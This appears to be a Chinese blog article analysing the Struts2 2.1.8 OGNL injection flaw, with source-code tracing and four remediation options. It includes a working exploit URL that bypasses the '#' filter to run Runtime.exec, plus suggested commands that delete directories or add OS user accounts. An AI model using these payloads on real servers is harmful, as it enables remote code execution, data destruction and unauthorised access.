1. 程式人生 > >Struts2.1.8 Ognl 漏洞淺析和解決方案

Struts2.1.8 Ognl 漏洞淺析和解決方案

前面的話

  工作了好幾點,一直都沒有認認真真的去寫過什麼東西,趁著最近這段時間有空,總結一下這幾年在工作中的一些經驗,尤其是Struts2 Ognl 漏洞,當年不知道影響了多少個網際網路企業。現在把他記錄下來,作為對幾年工作的一個回憶吧。
  如果您是對Struts2不熟悉,又想測試Struts2 Ognl 漏洞的讀者,請下先移步到Struts2 入門示例,裡面有一個簡單的Struts示例, 正好也是基於Struts2.1.8的一個示例,非常適合測試Struts2.1.8 Ognl 漏洞。

漏洞淺析

  我們看看是那一段程式碼引起的這個漏洞,經過測試分析原始碼知道。當Struts2獲取前臺所傳引數的內容的時候,他會先獲得使用者提交的引數名,然後從值棧(Value Stack)中找到符合引數值的內容,並列印。
  其中ValueStack的findValue方法是關鍵點,我們看一下Value Stack類中定義的方法。

public interface ValueStack{
    public abstract String findString(String expr);
    public abstract String findString(String expr, boolean throwExceptionOnFailure);

    /**
     * Find a value by evaluating the given expression against the stack in the default search order.
     *
     * @param
expr the expression giving the path of properties to navigate to find the property value to return * @return the result of evaluating the expression */
public abstract Object findValue(String expr); public abstract Object findValue(String expr, boolean throwExceptionOnFailure); /** * Find a value by evaluating the given expression against the stack in the default search order. * * @param
expr the expression giving the path of properties to navigate to find the property value to return * @param asType the type to convert the return value to * @return the result of evaluating the expression */
public abstract Object findValue(String expr, Class asType); public abstract Object findValue(String expr, Class asType, boolean throwExceptionOnFailure); }

  我們可以看到findValue()有三個引數:

   expr 客戶所傳引數的表示式,   
  asType 引數的表示式需要轉換的類型別,   
  throwExceptionOnFailure: 失敗都是時候是否丟擲異常

  我們下面在看一下ValueStack類的實現類OgnlValueStack中的findValue的實現方法:

 public Object findValue(String expr, Class asType, boolean throwExceptionOnFailure) {
        try {
            if (expr == null) {
                return null;
            }

            if ((overrides != null) && overrides.containsKey(expr)) {
                expr = (String) overrides.get(expr);
            }
            // 這一步才是漏洞的關鍵所在
            Object value = ognlUtil.getValue(expr, context, root, asType);
            if (value != null) {
                return value;
            } else {
                checkForInvalidProperties(expr, throwExceptionOnFailure, throwExceptionOnFailure);
                return findInContext(expr);
            }
        } catch (OgnlException e) {
            checkForInvalidProperties(expr, throwExceptionOnFailure, throwExceptionOnFailure);
            return findInContext(expr);
        } catch (Exception e) {
            logLookupFailure(expr, e);

            if (throwExceptionOnFailure)
                throw new XWorkException(e);

            return findInContext(expr);
        } finally {
            ReflectionContextState.clear(context);
        }
    }

  該方法中呼叫了

Object value = ognlUtil.getValue(expr, context, root);

  繼續深入追蹤進入OgnlUtil檔案,看到如下程式碼:

public Object getValue(String name, Map context, Object root) throws OgnlException {
    return Ognl.getValue(compile(name), context, root);
}

  最後可以看到OgnlUtil類的compile, 這一步居然執行了表示式:

 public Object compile(String expression) throws OgnlException {
        if (enableExpressionCache) {
            Object o = expressions.get(expression);
            if (o == null) {
                o = Ognl.parseExpression(expression);
                expressions.put(expression, o);
            }
            return o;
        } else
            return Ognl.parseExpression(expression);
    }

  看完了原始碼我們知道,Ognl.getValue()方法的作用,它根據表示式(引數1),在上下文(引數2)和指定類中(引數3)查詢響應的內容,並返回,若沒有則返回空。在查詢的過程中,表示式會被執行,這才使得攻擊者有可乘之機,利用這個方法來執行一些惡意的行為。

測試漏洞

  我們可以在瀏覽器中輸入如下Url:http://localhost:8080/Struts2Ongl/login.action?redirect:%25{3-4}
  如果瀏覽器上顯示:http://localhost:8080/Struts2Ongl/login.action?-1 , 則說明該Struts2版本存在ognl表示式漏洞,因為引數後面的表示式被執行了。
  如果瀏覽器上顯示:http://localhost:8080/Struts2Ongl/login.action?redirect:%25{3-4},則說明該Struts2版本不存在ognl表示式漏洞,它沒有執行引數後面的表示式。
  
  Struts2的核心是使用的webwork框架,處理 action時通過呼叫底層的getter/setter方法來處理http的引數,它將每個http引數宣告為一個ONGL(這裡是ONGL的介紹)語句。當我們提交一個http引數:
  ?user.address.city=Bishkek&user[‘favoriteDrink’]=kumys
  
  ONGL將它轉換為(如下java程式碼):
  action.getUser().getAddress().setCity(“Bishkek”) ;
  action.getUser().setFavoriteDrink(“kumys”) ;

  這是通過ParametersInterceptor(引數過濾器)來執行的,使用使用者提供的HTTP引數呼叫 ValueStack.setValue()。
  為了防範篡改伺服器端物件,XWork的ParametersInterceptor不允許引數名中出現“#”字元,但如果使用了Java的 unicode字串表示\u0023,攻擊者就可以繞過保護。
  以下Url請求程式碼有破壞性,請在測試環境執行,嚴禁用此種方法進行惡意攻擊。

http://localhost:8080/Struts2Ongl/login.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(a)=true
&(b)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023zzz')
(\u0023zzz\u003dnew%20java.lang.Boolean("false")))
&(c)(@[email protected]().exec("calc"))

  轉義後Url如下:

http://localhost:8080/Struts2Ongl/login.action?('#_memberAccess['allowStaticMethodAccess']')(a)=true
&(b)(('#context['xwork.MethodAccessor.denyMethodExecution']=#zzz')
(#zzz=new%20java.lang.Boolean("false")))
&(c)(('#rt.exec("calc")')(#rt=@java.lang.Runtime@getRuntime()))=1  

  OGNL處理時最終的結果就是執行一下程式碼:

java.lang.Runtime.getRuntime().exec("calc");  

  在windows下的演示效果便是彈出了計算器
  這裡寫圖片描述

  類似的可以執行如下程式碼:

java.lang.Runtime.getRuntime().exec("rm –rf /root")  
,只要有許可權就可以刪除任何一個目錄。 
java.lang.Runtime.getRuntime().exec("net user 使用者名稱 密碼 /add");//增加作業系統使用者,在有許可權的情況下能成功(在URL中用%20替換空格,%2F替換/)

  後果是相當可怕

解決方案

  大概有四種解決方案,方案如下。建議使用第四中方案。
  1.升級到struts2.2版本。
  這個可以避免這個問題,經測試發現新版本雖然解決了上述的漏洞,但是新的問題是strus標籤出問題了。

<s:bean id="Test" name="cn.com.Test"></s:bean>   
<s:property value="#Test.getType().get(cType.toString())" /> 

  這樣的標籤在struts2.0中是可以使用的,但是新版中就不解析了,原因就是“#”的問題導致的,補了漏洞,正常的使用也用不了了。
所以sebug網站上的建議升級到2.2版本是不可行的。

  2.struts引數過濾。

<interceptor-ref name="params">   
<param name="excludeParams">.*\\u0023.*</param>   
</interceptor-ref>  

  這個可以解決漏洞問題,缺點是工作量大,每個專案都得改struts配置檔案。如果專案裡,是引用的一個類似global.xml的配置檔案,工作量相應減少一些。

  3.在前端請求進行過濾。
  比如在ngnix,apache進行攔截,引數中帶有\u0023的一律視為攻擊,跳轉到404頁面或者別的什麼頁面。這樣做的一個前提就是沒人把#號轉碼後作為引數傳遞。
  請求如果是get方式,可以進行過濾,如果是post方式就過濾不到了,所以還是應該修改配置檔案或更新新的jar包。
 
  4、全面升級。struts2.1.8.1升級至2.3.24  

  • 1、新增JAR包:commons-lang3-3.2.jar 和 javassist-3.11.0.GA.jar
  • 2、替換JAR包:
    commons-fileupload-1.2.1.jar —->commons-fileupload-1.3.1.jar
    commons-io-1.3.2.jar —–>commons-io-2.2.jar
    freemarker-2.3.15.jar —->freemarker-2.3.22.jar
    ognl-2.7.3.jar —-> ognl-3.0.6.jar
    struts2-core-2.1.8.1.jar —-> struts2-core-2.3.24.jar
    xwork-core-2.1.6.jar —–> xwork-core-2.3.24.jar
  • 3、保留原有的commons-lang.jar,org.apache.commons.lang.StringUtils類被org.apache.commons.lang3.StringUtils替換了
  • 4、修改web.xml, 將org.apache.struts2.dispatcher.FilterDispatcher 改為 org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter

相關推薦

Struts2.1.8 Ognl 漏洞淺析解決方案

前面的話   工作了好幾點,一直都沒有認認真真的去寫過什麼東西,趁著最近這段時間有空,總結一下這幾年在工作中的一些經驗,尤其是Struts2 Ognl 漏洞,當年不知道影響了多少個網際網路企業。現在把他記錄下來,作為對幾年工作的一個回憶吧。   如果您是對S

如何用adb連線android手機?(我的親自經歷)------ 順便說說unable to connect to 192.168.1.100:5555的原因解決方法

                        adb是什麼呢? 我就不多說了, 對於搞android開發的人來說, 一定不陌生。 本文講述如何用adb來連線手機。        利用adb來連線手機, 有兩種方式: 1, wifi,  2, usb.        前提條件: 下載adb, 最好把對應的檔案

小議 JDK 1.8 中的 ConCurrentHashMap ConcurrentSkipListMap

A)  ConCurrentHashMap 在 jdk1.8 中主要做了兩方面的改進。 1) 取消segments欄位,直接採用transient volatile HashEntry<K,V>[] table儲存資料,     &nb

web安全-xss漏洞的原理解決方案

要符合“內部的html標籤不被解析”,我們根據HTML5的標準,分元素類別討論吧: Void Elements,如br等。 他們不允許有內部文字。Foreign Elements,如svg和mathml的相關標籤 跟xml語法一致,他們內部文字若不想被當作標籤解析,只有用<![CDATA[和]]>

1-8 Python中整數浮點數

Python支援對整數和浮點數直接進行四則混合運算,運算規則和數學上的四則運算規則完全一致。 基本的運算: 1 + 2 + 3 # ==> 6 4 * 5 - 6 # ==> 14 7.5 / 8 + 2.1 # ==> 3.0375 使用括號可以提升優先順

Action接收引數的3種方式(屬性,域模型,模型驅動,struts2.1.8

常用第一種跟第二種 1.Action屬性傳引數: 建議:屬性應該與引數名相同。 在一個繼承ActionSupport類中新增接收引數的屬性,並生成其get() set()方法,在請求中附帶引數和對應的值,在struts2幫我們new這個類的時候,會自動呼叫get,set方法

libevent原始碼分析(6)--2.1.8--建立釋放libevent控制代碼event_base的相關函式

一、event_base_new 建立預設的event_base ** * Create and return a new event_base to use with the rest of Libevent. * * @return a new event_ba

多線程,多進程使用過程中的問題解決方案

共享 並發 之間 競爭 技術分享 參考 發生 pro 早期 次作,只是摘錄,組合而成,只能參考 多線程: 一個進程中可以有多條執行路徑同時執行,一個線程就是進程中的一條執行路徑。 在早期的操作系統中並沒有線程的概念,進程是能擁有資源和獨立運行的最小單位,也是程序執行的

Ext Js 6.2.1 classic grid 滾動條bug解決方案

efi 父類 滾動 cti seq position column spa 元素 此bug未在其他版本發現,參考高版本代碼重寫類解決此bug,直接上代碼: 1 /** 2 * 如果列表同時存在橫向滾動條和豎向滾動條,當豎向滾動條滾動到底部時 3 * 點擊

OA常見問題解決方案

es2017 安裝目錄 常見 如果 更新 快速 關閉 快捷方式 message 本文檔:主要用來記錄OA常見的問題和解決方案。 (一)更新問題(登陸不了,或者登陸出錯) 由於很多用戶使用的是XP系統,導致每次進行OA進行升級的時候,他們都不支持自動升級。

QT常見問題解決方案整理

cpp recommend log 實現 utf tro int 發現 ring  最近重拾QT,發現百度能搜索到的東西甚少,所以上StackOverFlow上查了一些資料,覺得對自己有用的就做了記錄,方便以後查看,本篇基於Qt4.8.5,windows平臺。  問題1.

Cannot find module 'webpack/lib/node/NodeTemplatePlugin' 問題原因解決方案

dep webp template 文件 find 運行 sta gin strong 當我配置了html-webpack-plugin 打包時報了這個錯,查看了一下package.json發現沒有webpack,說明使用了全局安裝的webapck,導致的版本差異。 這裏

設計----【分布式事務】分布式事務解決方案

reat 錯誤 級別 err ons 撤銷 丟失 system 狀態 一、前言 分布式事務是企業集成中的一個技術難點,也是每一個分布式系統架構中都會涉及到的一個東西,特別是在微服務架構中,幾乎可以說是無法避免,本文就分布式事務來簡單聊一下。 二、數據庫事務 在說分布式

“錯誤 1067:進程意外終止”的原因解決方案

解決方案 microsoft bubuko buffer 圖片 src mysq mic ODB 錯誤原因: 1、mysql的配置文件裏面的innodb_buffer_pool_size的值設置太大了。 解決方案: 1、innodb_buffer_pool

硬盤數據丟失原因解決方案/數據恢復方法

硬盤 數據 恢復 壞道 故障一:"磁盤未被格式化,是否格式化"[適用介質]1、典型地-移動硬盤、U盤、數碼卡(相機、手機等)、MP3;2、普通硬盤;3、很少的-盤陣等采用WINDOWS系統的存儲; [故障表現]1、移動硬盤或U盤等,未正常關閉狀態下直接拔下,下次接入系統後雙

Eclipse部署Web項目時常見的錯誤解決方案

timeout 數據庫 light 請求 成功 重啟tomcat 線程 cep username Tomcat部署Web項目到tomcat 在eclipse中找到Servers項,打開服務器(F3)(建議直接刪除服務器,重新建立再設置比較好)1、Servers Locat

前端 - 關於開發時遇到的問題解決方案

onload orm evel 優點 異步上傳 round ase wid ons 工作不忙的時候,要學會總結。吃一塹長一智,道理如此; 1.關於移動端,頁面寬度超出屏幕寬度的問題; 布局時候不註意,對元素寬度設置100%,再設置padding或者margin就會出現這個問

虛擬機管理需要哪些功能,以及虛擬機管理常見問題解決方案

個性化 共享 使用率 cpu 自動同步 掛載iso 批量 磁盤使用 操作系統。 虛擬機裏面主要涉及哪些功能,虛擬機管理需要哪些功能,以及虛擬機管理常見問題和解決方案-CNware虛擬化軟件1 虛擬機部署部署單臺虛擬機:根據模板或者自定義方式創建單臺虛擬機,支持自主設置虛擬

oracle12C出錯解決方案

ces sha 技術分享 ext 12c oracle color 技術 process 1、在圖形化界面操作,切換oracle用戶,執行安裝出錯2、解決方案3、重新執行安裝oracle12C出錯和解決方案

EndNote在word中進行文獻引用的插入時,沒有出現數字[1]而是出現(Gruning 2018)的解決方案

EndNote 是一個著名的參考文獻管理軟體,用來建立個人參考文獻庫,並且可以加入文字、影象、表格和方程式等內容及連結等資訊,能夠與 Microsoft Word 完美無縫連結,方便地插入所引用文獻並按照格式進行編排。  這篇博文是筆者的第一篇博文,以前老是在CSDN得到